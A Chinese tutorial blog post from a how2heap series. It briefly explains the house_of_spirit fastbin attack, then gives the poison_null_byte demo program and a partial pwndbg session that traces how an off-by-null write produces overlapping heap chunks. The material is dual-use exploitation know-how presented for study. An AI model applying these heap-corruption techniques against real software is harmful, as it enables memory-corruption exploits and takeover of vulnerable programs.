当前位置: 首页 > article >正文

从零开始学howtoheap:fastbins的house_of_spirit攻击2

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的house_of_spirit攻击


house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

2.poison_null_byte演示程序

该技术适用的场景需要某个malloc的内存区域存在一个单字节溢出漏洞。通过溢出下一个chunk的size字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
    fprintf(stderr, "当存在 off by null 的时候可以使用该技术\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1;
    uint8_t* b2;
    uint8_t* d;
    void *barrier;

    fprintf(stderr, "申请 0x100 的 chunk a\n");
    a = (uint8_t*) malloc(0x100);
    fprintf(stderr, "a 在: %p\n", a);
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "因为我们想要溢出 chunk a,所以需要知道他的实际大小: %#x\n", real_a_size);

    b = (uint8_t*) malloc(0x200);
    fprintf(stderr, "b: %p\n", b);
    c = (uint8_t*) malloc(0x100);
    fprintf(stderr, "c: %p\n", c);

    barrier =  malloc(0x100);
    fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");
    *(size_t*)(b+0x1f0) = 0x200;

    free(b);
    
    fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);
    fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);

    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);

    fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);

    fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);
    fprintf(stderr, "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n",*c_prev_size_ptr);
    fprintf(stderr, "但是我们之前写 0x200 那个地方已经改成了: %lx\n",*(((uint64_t*)c)-4));
    fprintf(stderr, "接下来 malloc 'b2', 作为 'victim' chunk.\n");

    b2 = malloc(0x80);
    fprintf(stderr, "b2 申请在: %p\n",b2);

    memset(b2,'B',0x80);
    fprintf(stderr, "现在 b2 填充的内容是:\n%s\n",b2);
    fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");

    free(b1);
    free(c);
    
    fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
    d = malloc(0x300);
    fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
    memset(d,'D',0x300);
    fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);
}

3.调试poison_null_byte

3.1 获得可执行程序 

gcc -g poison_null_byte.c -o poison_null_byte

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gcc -g poison_null_byte.c -o poison_null_byte
root@pwn_test1604:/ctf/work/how2heap# gdb ./poison_null_byte
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./poison_null_byte...done.
pwndbg> r
Starting program: /ctf/work/how2heap/poison_null_byte 
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x603010
因为我们想要溢出 chunk a,所以需要知道他的实际大小: 0x108
b: 0x603120
c: 0x603330
另外再申请了一个 chunk c:0x603440,防止 free 的时候与 top chunk 发生合并的情况
会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上
b 现在的 size: 0x200
c 的 prev_size 是 0x210
但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
申请一个 0x100 大小的 b1: 0x603120
现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: 0x210
但是我们之前写 0x200 那个地方已经改成了: f0
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x603230
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x603120,我们填充一下 d 为 "D"
现在 b2 的内容就是:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
[Inferior 1 (process 82) exited normally]
pwndbg> 

 

3.3 第二次调试程序

3.3.1 ​设置断点第32行并走起

首先申请了4个chunk,分别是a、b、c和一个防止与top chunk合并的chunk。

pwndbg> b 32
Breakpoint 2 at 0x4007f1: file poison_null_byte.c, line 32.
pwndbg> c
Continuing.
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x603010
因为我们想要溢出 chunk a,所以需要知道他的实际大小: 0x108
b: 0x603120
c: 0x603330
另外再申请了一个 chunk c:0x603440,防止 free 的时候与 top chunk 发生合并的情况

Breakpoint 2, main () at poison_null_byte.c:33
33          uint64_t* b_size_ptr = (uint64_t*)(b - 8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x67
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbee0 ◂— 0x86e596a4e5a68fe5
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x67
 R10  0x75686320706f7420 (' top chu')
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe570 ◂— 0x108f7ffe168
 RIP  0x4007f1 (main+283) ◂— mov    rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4007f1 <main+283>    mov    rax, qword ptr [rbp - 0x40]
   0x4007f5 <main+287>    sub    rax, 8
   0x4007f9 <main+291>    mov    qword ptr [rbp - 0x28], rax
   0x4007fd <main+295>    mov    rax, qword ptr [rip + 0x20185c] <0x602060>
   0x400804 <main+302>    mov    rcx, rax
   0x400807 <main+305>    mov    edx, 0x70
   0x40080c <main+310>    mov    esi, 1
   0x400811 <main+315>    mov    edi, 0x400c70
   0x400816 <main+320>    call   fwrite@plt <0x4005c0>
 
   0x40081b <main+325>    mov    rax, qword ptr [rbp - 0x40]
   0x40081f <main+329>    add    rax, 0x1f0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
   28     fprintf(stderr, "c: %p\n", c);
   29 
   30     barrier =  malloc(0x100);
   31     fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);
   32 
 ► 33     uint64_t* b_size_ptr = (uint64_t*)(b - 8);
   34     fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");
   35     *(size_t*)(b+0x1f0) = 0x200;
   36 
   37     free(b);
   38     
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 ◂— 0x0
06:0030│      0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor    ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4007f1 main+283
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:32
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x210                Used                None              None
0x603320            0x0                 0x110                Used                None              None
0x603430            0x0                 0x110                Used                None              None

 3.3.2 设置断点第36行并走起

接下来为了绕过size和next chunk的prev_size的检查,我们在chunk b的末尾伪造了一个0x200大小的prev_size

pwndbg> n
会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查
35          *(size_t*)(b+0x1f0) = 0x200;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x70
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x400c00 ◂— and    eax, 0xa70 /* '%p\n' */
 R8   0x70
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe570 ◂— 0x108f7ffe168
 RIP  0x40081b (main+325) ◂— mov    rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400804 <main+302>    mov    rcx, rax
   0x400807 <main+305>    mov    edx, 0x70
   0x40080c <main+310>    mov    esi, 1
   0x400811 <main+315>    mov    edi, 0x400c70
   0x400816 <main+320>    call   fwrite@plt <0x4005c0>
 
 ► 0x40081b <main+325>    mov    rax, qword ptr [rbp - 0x40]
   0x40081f <main+329>    add    rax, 0x1f0
   0x400825 <main+335>    mov    qword ptr [rax], 0x200
   0x40082c <main+342>    mov    rax, qword ptr [rbp - 0x40]
   0x400830 <main+346>    mov    rdi, rax
   0x400833 <main+349>    call   free@plt <0x400560>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
   30     barrier =  malloc(0x100);
   31     fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);
   32 
   33     uint64_t* b_size_ptr = (uint64_t*)(b - 8);
   34     fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");
 ► 35     *(size_t*)(b+0x1f0) = 0x200;
   36 
   37     free(b);
   38     
   39     fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);
   40     fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x211
06:0030│      0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor    ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           40081b main+325
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> n
37          free(b);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603310 ◂— 0x200
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x400c00 ◂— and    eax, 0xa70 /* '%p\n' */
 R8   0x70
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe570 ◂— 0x108f7ffe168
 RIP  0x40082c (main+342) ◂— mov    rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400811 <main+315>    mov    edi, 0x400c70
   0x400816 <main+320>    call   fwrite@plt <0x4005c0>
 
   0x40081b <main+325>    mov    rax, qword ptr [rbp - 0x40]
   0x40081f <main+329>    add    rax, 0x1f0
   0x400825 <main+335>    mov    qword ptr [rax], 0x200
 ► 0x40082c <main+342>    mov    rax, qword ptr [rbp - 0x40]
   0x400830 <main+346>    mov    rdi, rax
   0x400833 <main+349>    call   free@plt <0x400560>
 
   0x400838 <main+354>    mov    rax, qword ptr [rbp - 0x28]
   0x40083c <main+358>    mov    rdx, qword ptr [rax]
   0x40083f <main+361>    mov    rax, qword ptr [rip + 0x20181a] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
   32 
   33     uint64_t* b_size_ptr = (uint64_t*)(b - 8);
   34     fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");
   35     *(size_t*)(b+0x1f0) = 0x200;
   36 
 ► 37     free(b);
   38     
   39     fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);
   40     fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
   41     a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
   42     fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x211
06:0030│      0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor    ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           40082c main+342
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x210                Used                None              None
0x603320            0x0                 0x110                Used                None              None
0x603430            0x0                 0x110                Used                None              None
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x210                Used                None              None
0x603320            0x0                 0x110                Used                None              None
0x603430            0x0                 0x110                Used                None              None
pwndbg> heap
heapbase : 0x603000
pwndbg> x/10gx 0x603320-0x10                                                                                                                                                                                       
0x603310:       0x0000000000000200      0x0000000000000000
0x603320:       0x0000000000000000      0x0000000000000111
0x603330:       0x0000000000000000      0x0000000000000000
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x603110
0x603110:       0x0000000000000000      0x0000000000000211
0x603120:       0x0000000000000000      0x0000000000000000
0x603130:       0x0000000000000000      0x0000000000000000
0x603140:       0x0000000000000000      0x0000000000000000
0x603150:       0x0000000000000000      0x0000000000000000

pwndbg> heap
heapbase : 0x603000
pwndbg> x/10gx 0x603320-0x10                                                                                                                                                                                       
0x603310:       0x0000000000000200      0x0000000000000000
0x603320:       0x0000000000000000      0x0000000000000111
0x603330:       0x0000000000000000      0x0000000000000000
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x603110
0x603110:       0x0000000000000000      0x0000000000000211
0x603120:       0x0000000000000000      0x0000000000000000
0x603130:       0x0000000000000000      0x0000000000000000
0x603140:       0x0000000000000000      0x0000000000000000
0x603150:       0x0000000000000000      0x0000000000000000

其中0x603310:       0x0000000000000200 是伪造的pre_size

0x603110:             0x0000000000000211 原本b的size


 

3.3.3 设置断点第42行并走起

然后把b给free掉,通过编辑chunk a来更改b的size的最后一位为0x00。

pwndbg> b 42
Breakpoint 3 at 0x400886: file poison_null_byte.c, line 42.
pwndbg> c
Continuing.
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上

Breakpoint 3, main () at poison_null_byte.c:42
42          fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603118 ◂— 0x200
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x108
 RDI  0x2
 RSI  0x400c00 ◂— and    eax, 0xa70 /* '%p\n' */
 R8   0x52
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe570 ◂— 0x108f7ffe168
 RIP  0x400886 (main+432) ◂— mov    rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400886 <main+432>    mov    rax, qword ptr [rbp - 0x28]
   0x40088a <main+436>    mov    rdx, qword ptr [rax]
   0x40088d <main+439>    mov    rax, qword ptr [rip + 0x2017cc] <0x602060>
   0x400894 <main+446>    mov    esi, 0x400d4b
   0x400899 <main+451>    mov    rdi, rax
   0x40089c <main+454>    mov    eax, 0
   0x4008a1 <main+459>    call   fprintf@plt <0x4005a0>
 
   0x4008a6 <main+464>    mov    rax, qword ptr [rbp - 0x38]
   0x4008aa <main+468>    sub    rax, 0x10
   0x4008ae <main+472>    mov    qword ptr [rbp - 0x20], rax
   0x4008b2 <main+476>    mov    rax, qword ptr [rbp - 0x20]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
   37     free(b);
   38     
   39     fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);
   40     fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
   41     a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
 ► 42     fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
   43 
   44     uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
   45     fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);
   46 
   47     fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));                                                                                                                                                                                           
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603540 ◂— 0x0
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x200
06:0030│      0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor    ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400886 main+432
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:42
pwndbg> x/10gx 0x603110
0x603110:       0x0000000000000000      0x0000000000000200
0x603120:       0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x603130:       0x0000000000000000      0x0000000000000000
0x603140:       0x0000000000000000      0x0000000000000000
0x603150:       0x0000000000000000      0x0000000000000000
pwndbg> 

pwndbg> x/10gx 0x603110
0x603110:       0x0000000000000000      0x0000000000000200
0x603120:       0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x603130:       0x0000000000000000      0x0000000000000000
0x603140:       0x0000000000000000      0x0000000000000000
0x603150:       0x0000000000000000      0x0000000000000000
pwndbg>

其中 0x603110:            0x0000000000000200 修改后b的size

3.3.4 设置断点第50行并走起

​ 这时候c那里的prev_size还是之前的,因为更改了b的size,所以找的时候会找b + 0x200的,而真正的prev_size位在0x210处,也正是这样让我们绕过了chunksize(P) = prev_size(next_chunk(P))的检测。

接下来申请一个0x100大小的chunk,因为b已经被free了,所以glibc会将b进行切割,分出一块0x100大小的堆块给b1,剩下0xf0。

pwndbg> n
50          fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) ◂— ...
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) ◂— ...
 RDI  0xf0
 RSI  0x1
 R8   0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) —▸ 0x7ffff7dd1d28 (main_arena+520) ◂— ...
 R9   0xaa
 R10  0x0
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe570 ◂— 0x108f7ffe168
 RIP  0x40091d (main+583) ◂— mov    rax, qword ptr [rip + 0x20173c]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x40090f <main+569>    mov    edi, 0x100
   0x400914 <main+574>    call   malloc@plt <0x4005b0>
 
   0x400919 <main+579>    mov    qword ptr [rbp - 0x18], rax
 ► 0x40091d <main+583>    mov    rax, qword ptr [rip + 0x20173c] <0x602060>
   0x400924 <main+590>    mov    rdx, qword ptr [rbp - 0x18]
   0x400928 <main+594>    mov    esi, 0x400e30
   0x40092d <main+599>    mov    rdi, rax
   0x400930 <main+602>    mov    eax, 0
   0x400935 <main+607>    call   fprintf@plt <0x4005a0>
 
   0x40093a <main+612>    mov    rax, qword ptr [rbp - 0x20]
   0x40093e <main+616>    mov    rdx, qword ptr [rax]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
   45     fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);
   46 
